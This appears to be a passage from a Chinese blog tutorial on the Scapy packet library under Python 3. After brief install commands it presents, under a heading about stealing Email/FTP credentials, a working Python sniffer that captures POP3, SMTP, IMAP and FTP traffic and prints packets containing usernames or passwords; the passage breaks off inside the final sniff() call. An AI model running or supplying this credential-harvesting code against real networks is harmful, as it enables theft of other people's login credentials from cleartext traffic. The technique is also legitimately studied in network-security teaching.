Scapy:网络掌控者?
哇咔咔,我喜欢!可是我的问题来了,貌似Scapy只支持Python2,那哥哥这Python3咋办呢?
【最新更新:目前scapy目前已经支持Python3了,就不用折腾这个了。】
按照其说明进行安装即可:
pip3 install scapy-python3 # 通过pip直接安装scapy3库
brew install libdnet # 补充安装scapy3需要的libdnet
窃取Email/FTP认证
#!/usr/bin/env python3
# -*- code: utf-8 -*-
from scapy.all import *
# 数据包回调函数
def packet_callback(packet):
#print(packet.show())
if packet[TCP].payload:
mail_packet = str(packet[TCP].payload)
if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
print ("[*] Server: %s" % packet[IP].dst)
print ("[*] %s" % packet[TCP].payload)
# 开启嗅探器
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143 or tcp port 21",prn=packet_callback, store=0,cou